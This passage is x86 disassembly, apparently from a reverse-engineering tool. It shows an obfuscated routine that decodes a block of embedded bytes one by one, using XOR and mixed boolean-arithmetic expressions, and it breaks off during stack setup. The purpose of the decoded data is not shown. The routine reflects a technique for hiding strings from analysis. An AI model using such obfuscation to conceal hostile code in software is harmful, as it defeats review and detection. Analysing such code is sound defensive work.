and al, 0x96
or dl, al
xor dl, 0x96
and dl, 0x51
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x51
sub bl, al
mov byte [0x475427], bl
mov al, byte [0x475228]
sub al, 0
mov byte [0x475428], al
mov al, byte [0x475229]
xor al, 0x6b
mov byte [0x475429], al
mov al, byte [0x47522a]
xor al, 0xd1
mov byte [0x47542a], al
mov al, byte [0x47522b]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x3e
xor al, 0xff
and al, 0xc1
or cl, al
xor cl, 0xff
mov byte [0x47542b], cl
mov al, byte [0x47522c]
xor al, 0x71
mov byte [0x47542c], al
mov al, byte [0x47522d]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x68
xor dl, 0xff
or al, 0x97
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47542d], dl
mov al, byte [0x47522e]
xor al, 0x25
mov byte [0x47542e], al
mov ah, byte [0x47522f]
mov al, ah
or al, al
xor al, 0xff
mov cl, al
and cl, 0xbd
mov dl, al
xor dl, 0x42
add al, dl
sub al, cl
xor al, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov cl, dl
xor cl, 0xff
or cl, 0xbd
and dl, 0x42
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov dl, al
and dl, cl
xor al, cl
or dl, al
xor dl, 0xff
mov byte [0x47542f], dl
mov al, byte [0x475230]
mov cl, al
xor cl, 0xff
and cl, 3
and al, 0xfc
or cl, al
xor cl, 0xf0
mov byte [0x475430], cl
mov al, byte [0x475231]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ah, al
sub ah, cl
and dl, ah
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 6
xor dl, 0xff
or al, 0xf9
xor al, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor al, 0xff
and dl, al
mov byte [0x475431], dl
mov al, byte [0x475232]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
or cl, ah
xor cl, 0xff
or cl, 0
and cl, 0xff
xor cl, 0xff
or dl, cl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
or dl, 0x2b
xor al, 0xff
mov cl, al
and cl, 0xd4
xor al, 0xd4
or cl, al
and dl, cl
mov al, dl
xor al, 0xff
and al, 0xe5
and dl, 0x1a
or al, dl
xor al, 0x1a
mov byte [0x475432], al
mov dl, byte [0x475233]
mov cl, dl
and cl, 0xff
shl cl, 1
mov al, dl
add al, 0xff
sub al, cl
xor al, 0xff
or al, 0xbb
xor al, 0xff
and al, 0xff
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xbb
add dl, cl
or al, dl
mov cl, al
xor cl, 0x58
xor cl, 0xff
and cl, 0x58
shl cl, 1
sub cl, 0x58
sub al, cl
mov byte [0x475433], al
mov al, byte [0x475234]
mov cl, al
xor cl, 0xff
and cl, 0xf6
and al, 9
or cl, al
xor cl, 0xbb
mov byte [0x475434], cl
mov cl, byte [0x475235]
mov al, cl
xor al, 0xff
and al, 0xf9
mov dl, cl
add dl, 1
xor cl, 0xff
or cl, 6
add cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov byte [0x475435], dl
mov al, byte [str.17yv]
mov cl, al
and cl, 0x20
shl cl, 1
mov dl, al
add dl, 0x20
sub dl, cl
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
and dl, 0x20
shl dl, 1
sub dl, 0x20
xor dl, 0xff
add al, dl
add al, 1
mov byte [0x475436], al
mov al, byte [0x475237]
xor al, 0x26
mov byte [0x475437], al
mov al, byte [0x475238]
mov cl, al
xor cl, 0xff
and cl, 0x68
and al, 0x97
or cl, al
mov byte [0x475438], cl
mov dl, byte [0x475239]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
xor al, 0xff
xor cl, 0xff
and al, cl
xor al, 0xff
or al, 0x98
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and dl, 0x98
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x43
and dl, 0xbc
or cl, dl
xor cl, 0xbc
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov byte [0x475439], dl
mov ah, byte [0x47523a]
mov al, ah
and al, al
xor al, 0xff
and al, 0x9d
xor al, 0xff
xor ah, 0xff
mov dl, ah
xor dl, 0xff
and dl, 0x62
or ah, 0x9d
xor ah, 0xff
or dl, ah
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
or al, dl
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x47543a], cl
mov dl, byte [0x47523b]
mov al, dl
xor al, 0xff
and al, 0x14
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xeb
add dl, cl
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
mov byte [0x47543b], al
mov al, byte [0x47523c]
xor al, 0x20
mov byte [0x47543c], al
mov dl, byte [0x47523d]
mov al, dl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
and cl, 0x72
mov ah, dl
and ah, 0x8d
or cl, ah
xor cl, 0x8d
mov ah, al
xor ah, cl
xor ah, 0xff
or al, cl
and al, ah
or al, 0x18
xor al, 0xff
or dl, 0xe7
mov cl, dl
xor cl, 0xff
and cl, 0x6c
and dl, 0x93
or cl, dl
xor cl, 0x93
or al, cl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov byte [0x47543d], al
mov al, byte [0x47523e]
xor al, 0xb1
mov byte [0x47543e], al
mov al, byte [0x47523f]
xor al, 0x59
mov byte [str.wY_], al
mov al, byte [0x475240]
mov cl, al
xor cl, 0xf9
xor cl, 0xff
and cl, 0xf9
shl cl, 1
sub cl, 0xf9
sub al, cl
mov byte [0x475440], al
mov al, byte [0x475241]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x1b
and al, 0x1b
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x475441], cl
mov al, byte [0x475242]
mov ah, al
xor ah, 0xff
and ah, 0x9b
mov cl, al
and cl, 0x64
or ah, cl
xor ah, 0x64
mov cl, al
xor cl, 0xff
or ah, cl
mov dl, ah
and dl, 0x27
xor dl, 0xff
and ah, 0x27
xor ah, 0xff
and dl, ah
xor dl, 0xff
xor dl, 0xff
and al, 0xd8
xor al, 0xff
xor al, 0xff
mov cl, dl
xor cl, al
and cl, dl
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
mov byte [0x475442], cl
mov al, byte [0x475243]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xeb
xor dl, 0xff
and al, 0x14
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475443], dl
mov al, byte [0x475244]
xor al, 0x3a
mov byte [0x475444], al
mov al, byte [0x475245]
mov cl, al
and cl, 0x84
shl cl, 1
add al, 0x84
sub al, cl
mov byte [0x475445], al
mov al, byte [0x475246]
mov ah, al
xor ah, 0xff
xor ah, 0xff
or ah, 0xa3
xor ah, 0xff
and ah, 0xff
and al, 0xa3
mov dl, ah
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov dh, dl
and dh, 0x9f
and ah, 0x60
mov cl, bl
and cl, 0x9f
and al, 0x60
or dh, ah
or cl, al
xor dh, cl
or dl, bl
xor dl, 0xff
and dl, 0xff
or dh, dl
mov byte [0x475446], dh
mov al, byte [0x475247]
mov cl, al
and cl, 0x1f
shl cl, 1
add al, 0x1f
sub al, cl
mov byte [0x475447], al
mov al, byte [0x475248]
mov cl, al
xor cl, 0xff
and cl, 0xa
and al, 0xf5
or cl, al
mov byte [0x475448], cl
mov al, byte [0x475249]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0xe1
xor cl, 0xff
shl cl, 1
add al, 0x1e
sub al, cl
mov byte [0x475449], al
mov al, byte [0x47524a]
xor al, 0x83
mov byte [0x47544a], al
mov al, byte [0x47524b]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xfa
xor dl, 0xff
or cl, 0xfa
and cl, dl
and al, 5
or cl, al
mov byte [0x47544b], cl
mov al, byte [0x47524c]
mov cl, al
xor cl, 0xff
and cl, 0xa
and al, 0xf5
or cl, al
mov byte [0x47544c], cl
mov al, byte [0x47524d]
xor al, 0x4a
mov byte [0x47544d], al
mov al, byte [0x47524e]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
mov dl, cl
xor dl, 0xc
and dl, cl
or al, 0xf3
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or dl, al
xor dl, 0xff
mov byte [0x47544e], dl
mov al, byte [0x47524f]
xor al, 0xd8
mov byte [0x47544f], al
mov cl, byte [0x475250]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x33
or cl, 0x33
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x475450], al
mov al, byte [0x475251]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0xff
shl dl, 1
add dl, 0
add dl, 1
xor ecx, ecx
sub cl, dl
add al, cl
mov byte [0x475451], al
mov al, byte [0x475252]
xor al, 0x98
mov byte [0x475452], al
mov al, byte [0x475253]
mov dl, al
xor dl, 0xff
and dl, 0xc7
and al, 0x38
and dl, dl
xor dl, 0xff
and al, al
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475453], dl
mov al, byte [0x475254]
xor al, 0xcb
mov byte [0x475454], al
mov al, byte [0x475255]
xor al, 0x70
mov byte [0x475455], al
mov al, byte [0x475256]
xor al, 0xdf
mov byte [0x475456], al
mov al, byte [0x475257]
mov cl, al
and cl, 0x11
shl cl, 1
add al, 0x11
sub al, cl
mov byte [0x475457], al
mov dl, byte [0x475258]
mov al, dl
xor al, 0xff
mov ah, dl
xor ah, 0xff
mov cl, dl
xor cl, 0xff
and ah, cl
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, ah
add al, cl
or al, 0xd6
xor al, 0xff
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
and dl, 0xd6
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
mov byte [0x475458], al
mov cl, byte [0x475259]
mov al, cl
and al, al
xor al, 0xff
and al, 0xa0
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0xa0
xor dl, 0xff
xor dl, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
or al, dl
mov byte [str.01l_], al
mov al, byte [0x47525a]
xor al, 0x15
mov byte [0x47545a], al
mov al, byte [0x47525b]
xor al, 0xa3
mov byte [0x47545b], al
mov al, byte [0x47525c]
xor al, 0xe4
mov byte [0x47545c], al
mov al, byte [0x47525d]
mov cl, al
xor cl, 0xff
and cl, 0x40
mov dl, al
xor dl, 0x40
and dl, al
or cl, dl
mov byte [0x47545d], cl
mov dl, byte [0x47525e]
mov al, dl
or al, al
xor al, 0xff
or al, 0xb7
xor al, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0x48
xor dl, 0xff
and dl, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
and al, cl
mov byte [0x47545e], al
mov al, byte [0x47525f]
xor al, 0xfa
mov byte [0x47545f], al
mov dl, byte [0x475260]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
and al, 0xa0
and dl, 0x5f
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
xor al, 0xff
xor dl, 0xff
and al, dl
or cl, al
xor cl, 0xff
mov byte [0x475460], cl
mov dl, byte [0x475261]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
or al, 0x22
add al, 0xde
and dl, 0x22
mov cl, al
or cl, dl
xor cl, 0xff
or al, dl
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x475461], cl
mov al, byte [0x475262]
xor al, 2
mov byte [0x475462], al
mov dl, byte [0x475263]
mov cl, dl
and cl, cl
mov al, cl
xor al, 0xff
xor cl, 0xff
and al, cl
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
or al, 0xc9
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
and ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
mov cl, ah
and cl, 0xc9
mov dl, ah
xor dl, 0x36
add ah, dl
sub ah, cl
and al, ah
mov cl, al
xor cl, 0xff
and cl, 0x2b
and al, 0xd4
or cl, al
xor cl, 0xd4
mov byte [0x475463], cl
mov al, byte [0x475264]
xor al, 0xa3
mov byte [0x475464], al
mov al, byte [0x475265]
xor al, 0xab
mov byte [0x475465], al
mov al, byte [0x475266]
xor al, 0xb7
mov byte [0x475466], al
mov al, byte [0x475267]
xor al, 0x9e
mov byte [0x475467], al
mov al, byte [0x475268]
xor al, 0xdf
mov byte [0x475468], al
mov al, byte [0x475269]
mov cl, al
and cl, 0x8c
shl cl, 1
add al, 0x8c
sub al, cl
mov byte [0x475469], al
mov al, byte [0x47526a]
xor al, 0x56
mov byte [0x47546a], al
mov al, byte [0x47526b]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 6
or al, 6
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x47546b], cl
mov al, byte [0x47526c]
xor al, 0x3d
mov byte [0x47546c], al
mov dl, byte [0x47526d]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
and al, 0x81
and dl, 0x7e
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov cl, al
and cl, 0x7a
shl cl, 1
add al, 0x7a
sub al, cl
mov byte [0x47546d], al
mov dl, byte [0x47526e]
mov al, dl
xor al, 0xff
and al, 0xad
mov cl, dl
xor cl, 0x52
xor cl, 0xff
or dl, 0x52
and dl, cl
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
xor al, 0xff
xor dl, 0xff
and al, dl
or cl, al
xor cl, 0xff
mov byte [0x47546e], cl
mov al, byte [0x47526f]
mov dl, al
xor dl, 0xff
mov ah, al
and ah, ah
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and dl, dl
xor dl, 0xff
and ah, ah
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor dl, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0xa4
mov cl, al
add cl, 1
xor al, 0xff
or al, 0xa4
add al, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
and ah, al
xor ah, 0xff
mov byte [str..___f_], ah
mov al, byte [0x475270]
mov cl, al
xor cl, 0xff
and cl, 0xa4
and al, 0x5b
or cl, al
mov byte [0x475470], cl
mov dl, byte [0x475271]
mov ah, dl
xor ah, 0xff
mov al, dl
xor al, 0xff
and al, 0xc4
mov cl, dl
and cl, 0x3b
or al, cl
xor al, 0x3b
and ah, al
mov al, ah
or al, 0xb2
xor al, 0xff
or ah, 0xb2
xor ah, 0xff
or al, ah
xor al, 0xff
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0
and ah, 0xff
xor ah, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
or dl, 0x4d
xor dl, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
or cl, ah
and al, dl
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x475471], cl
mov al, byte [0x475272]
xor al, 0x30
mov byte [0x475472], al
mov dl, byte [0x475273]
mov al, dl
and al, 0xff
shl al, 1
mov cl, dl
add cl, 0xff
sub cl, al
mov al, dl
xor al, 0xff
or cl, al
mov al, cl
xor al, 0x62
and al, cl
xor al, 0xff
and al, 0xff
or al, 0
and dl, 0x62
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov al, cl
xor al, 0xff
and al, 0xe8
and cl, 0x17
or al, cl
xor al, 0x17
mov byte [0x475473], al
mov al, byte [0x475274]
mov cl, al
xor cl, 0xff
mov dl, cl
and dl, 0x6f
xor dl, 0xff
xor cl, 0xff
or cl, 0x90
and dl, cl
xor dl, 0xff
and al, 0x90
or dl, al
mov byte [0x475474], dl
mov al, byte [0x475275]
mov cl, al
xor cl, 0xff
and cl, 0x51
and al, 0xae
or cl, al
xor cl, 0xe4
mov byte [0x475475], cl
mov al, byte [0x475276]
mov cl, al
xor cl, 0xff
and cl, 0x15
and al, 0xea
or cl, al
mov byte [0x475476], cl
mov al, byte [0x475277]
xor al, 0xcb
mov byte [0x475477], al
mov al, byte [0x475278]
mov ah, al
and ah, ah
xor ah, 0xff
and ah, 0xff
or ah, 0
mov cl, ah
and cl, 0xff
shl cl, 1
add ah, 0xff
sub ah, cl
mov dh, ah
xor dh, 0xff
mov dl, dh
and dl, 0x4d
and ah, 0xb2
or dl, ah
xor dl, 0xfb
or dh, 0x49
xor dh, 0xff
and dh, 0xff
or dl, dh
and al, 0xb6
mov ah, al
xor ah, 0xff
and ah, 0xca
and al, 0x35
or ah, al
xor ah, 0x35
xor dl, 0xff
or ah, ah
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
or dl, ah
mov byte [0x475478], dl
mov al, byte [0x475279]
mov cl, al
and cl, 0x1f
shl cl, 1
add al, 0x1f
sub al, cl
mov byte [0x475479], al
mov al, byte [0x47527a]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0x42
add dl, cl
shl dl, 1
add al, 0x42
sub al, dl
mov byte [0x47547a], al
mov cl, byte [0x47527b]
mov al, cl
xor al, 0xff
and al, 0x10
and cl, 0xef
or al, cl
mov cl, al
xor cl, 0x39
xor cl, 0xff
and cl, 0x39
shl cl, 1
sub cl, 0x39
sub al, cl
mov byte [0x47547b], al
mov al, byte [0x47527c]
xor al, 0xff
mov byte [0x47547c], al
mov al, byte [0x47527d]
xor al, 0x89
mov byte [0x47547d], al
mov al, byte [0x47527e]
mov cl, al
and cl, 0xf7
shl cl, 1
add al, 0xf7
sub al, cl
mov byte [0x47547e], al
mov cl, byte [0x47527f]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x8f
and cl, 0x8f
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x47547f], al
mov al, byte [0x475280]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
and cl, ah
or cl, 0
xor cl, 0xff
or cl, 0
xor cl, 0xff
or dl, cl
xor dl, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
and ah, 0x97
xor ah, 0xff
xor al, 0xff
mov dh, al
xor dh, 0xff
mov dl, dh
and dl, 0x55
and al, 0xaa
or dl, al
xor dl, 0xc2
or dh, 0x68
xor dh, 0xff
and dh, 0xff
or dl, dh
mov al, ah
xor al, 0xff
xor ah, 0xff
and al, ah
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
xor dl, 0xff
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x475480], al
mov dl, byte [0x475281]
mov al, dl
xor al, 0xff
mov cl, al
xor cl, 0xe5
xor cl, 0xff
or al, 0xe5
and al, cl
and dl, 0x1a
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor al, 0xff
xor cl, 0xff
or al, cl
mov byte [0x475481], al
mov al, byte [str.5:zh_r]
mov cl, al
xor cl, 0xff
and cl, 0x24
and al, 0xdb
or cl, al
mov byte [0x475482], cl
mov al, byte [0x475283]
xor al, 0x2b
mov byte [0x475483], al
mov al, byte [0x475284]
xor al, 0x6b
mov byte [0x475484], al
mov al, byte [0x475285]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0xc8
xor dl, 0xff
xor al, 0xff
and al, 0xc8
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475485], dl
mov al, byte [0x475286]
mov cl, al
xor cl, 0xff
and cl, 0x79
and al, 0x86
or cl, al
mov byte [0x475486], cl
mov al, byte [0x475287]
mov bl, al
xor bl, 0xff
mov dh, al
xor dh, 0xff
mov dl, bl
xor dl, 0xff
mov bh, dh
xor bh, 0xff
mov ah, dl
and ah, 0x1e
and bl, 0xe1
mov cl, bh
and cl, 0x1e
and dh, 0xe1
or ah, bl
or cl, dh
xor ah, cl
or dl, bh
xor dl, 0xff
and dl, 0xff
or ah, dl
mov dl, ah
xor dl, 0xff
or dl, 0xe3
xor ah, 0xff
or ah, 0xe3
and dl, ah
xor dl, 0xff
xor dl, 0xff
mov ah, al
xor ah, 0xff
xor al, 0xff
and ah, al
xor ah, 0xff
and ah, 0xe3
xor ah, 0xff
and ah, 0xff
or ah, 0
and dl, ah
xor dl, 0xff
mov byte [0x475487], dl
mov dl, byte [0x475288]
mov al, dl
or al, al
xor al, 0xff
or al, 0x6c
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov ah, dl
xor ah, 0xff
and ah, 0x6c
or dl, 0x93
xor dl, 0xff
or ah, dl
xor ah, 0xff
mov dl, ah
xor dl, 0xff
and dl, 0xe9
and ah, 0x16
or dl, ah
xor dl, 0x16
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x4b
and dl, 0xb4
or cl, dl
xor cl, 0xb4
mov dl, al
and dl, cl
xor dl, 0xff
and al, cl
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x475488], dl
mov al, byte [0x475289]
mov cl, al
xor cl, 0xdf
xor cl, 0xff
and cl, 0xdf
shl cl, 1
sub cl, 0xdf
sub al, cl
mov byte [0x475489], al
mov al, byte [0x47528a]
mov cl, al
xor cl, 0xff
and cl, 0x79
and al, 0x86
or cl, al
mov byte [0x47548a], cl
mov cl, byte [0x47528b]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x25
or cl, 0x25
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x47548b], al
mov al, byte [0x47528c]
mov cl, al
xor cl, 0xa7
xor cl, 0xff
and cl, 0xa7
shl cl, 1
sub cl, 0xa7
sub al, cl
mov byte [0x47548c], al
mov al, byte [0x47528d]
mov cl, al
xor cl, 0xff
and cl, 0x20
or al, al
xor al, 0xff
or al, 0x20
xor al, 0xff
or cl, al
xor cl, 0x6e
mov byte [0x47548d], cl
mov dl, byte [0x47528e]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0xfc
add al, cl
mov ah, dl
xor ah, 0xff
and ah, 3
and dl, 0xfc
or ah, dl
xor ah, 0xfc
and ah, 3
mov cl, ah
xor cl, 0xff
mov dl, al
and dl, cl
mov cl, al
xor cl, ah
add al, cl
sub al, dl
xor al, 0xff
mov byte [0x47548e], al
mov al, byte [0x47528f]
mov cl, al
xor cl, 0xff
and cl, 0xec
and al, 0x13
or cl, al
mov byte [0x47548f], cl
mov al, byte [0x475290]
xor al, 0x4f
mov byte [0x475490], al
mov bl, byte [0x475291]
mov dl, bl
xor dl, 0xff
or dl, 0x6e
mov al, bl
xor al, 0xff
or al, 0x6e
and dl, al
xor dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x91
sub bl, al
mov byte [0x475491], bl
mov bl, byte [0x475292]
mov dl, bl
and dl, 0xd9
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xd9
sub bl, al
mov byte [0x475492], bl
mov al, byte [0x475293]
xor al, 0x1c
mov byte [0x475493], al
mov al, byte [0x475294]
mov dl, al
xor dl, 0xff
mov ah, al
xor ah, 0xff
and ah, 0xf0
mov cl, al
and cl, 0xf
or ah, cl
xor ah, 0xf
or dl, dl
xor dl, 0xff
or ah, ah
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
and dl, ah
mov dh, dl
xor dh, 0xff
mov ah, dh
and ah, 0x6c
and dl, 0x93
or ah, dl
xor ah, 9
or dh, 0x9a
xor dh, 0xff
and dh, 0xff
or ah, dh
xor ah, 0xff
xor al, 0xff
and al, 0x65
or ah, al
mov al, ah
xor al, 0xff
and al, 0x97
and ah, 0x68
or al, ah
xor al, 0x68
mov byte [0x475494], al
mov al, byte [0x475295]
xor al, 0xc4
mov byte [0x475495], al
mov al, byte [str..rHU]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x3f
or al, 0x3f
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475496], dl
mov al, byte [0x475297]
mov cl, al
xor cl, 0xff
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x63
and al, 0x9c
or cl, al
mov byte [0x475497], cl
mov al, byte [0x475298]
mov cl, al
xor cl, 0x59
xor cl, 0xff
and cl, 0x59
shl cl, 1
sub cl, 0x59
sub al, cl
mov byte [0x475498], al
mov dl, byte [0x475299]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
or al, cl
xor al, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or al, 0xbb
xor al, 0xff
mov ah, dl
xor ah, 0xff
and ah, 0xbb
or dl, 0x44
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, ah
xor ah, 0xff
or ah, 0
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
mov cl, al
and cl, ah
xor al, ah
or cl, al
xor cl, 0xff
mov byte [0x475499], cl
mov al, byte [0x47529a]
mov cl, al
xor cl, 0xc0
xor cl, 0xff
and cl, 0xc0
shl cl, 1
sub cl, 0xc0
sub al, cl
mov byte [0x47549a], al
mov al, byte [0x47529b]
mov cl, al
and cl, 0x7f
shl cl, 1
add al, 0x7f
sub al, cl
mov byte [0x47549b], al
mov al, byte [0x47529c]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0xe1
xor al, 0xff
or al, 0x1e
and cl, al
xor cl, 0xff
mov byte [0x47549c], cl
mov al, byte [0x47529d]
mov ah, al
xor ah, 0xff
and ah, 0x6a
mov cl, al
and cl, 0x95
or ah, cl
xor ah, 0x95
mov cl, al
xor cl, 0xff
xor cl, 0xff
mov dl, ah
xor dl, cl
and dl, ah
xor dl, 0xff
and dl, 0xd6
mov cl, al
and cl, 0xd6
xor cl, 0xff
add al, 0xd6
add al, 1
add al, cl
xor al, 0xff
xor dl, 0xff
xor al, 0xff
mov cl, dl
xor cl, al
xor cl, 0xff
or dl, al
and dl, cl
mov byte [0x47549d], dl
mov al, byte [0x47529e]
xor al, 0x27
mov byte [0x47549e], al
mov al, byte [0x47529f]
xor al, 0xb5
mov byte [0x47549f], al
mov dword [0x4787e8], 1
push eax
mov dword [ebp - 0x4c], esp
push eax
mov edi, esp
push eax
mov edx, esp
push eax
mov ecx, esp
push eax
mov dword [ebp - 0x28], esp
push eax
mov esi, esp
push eax
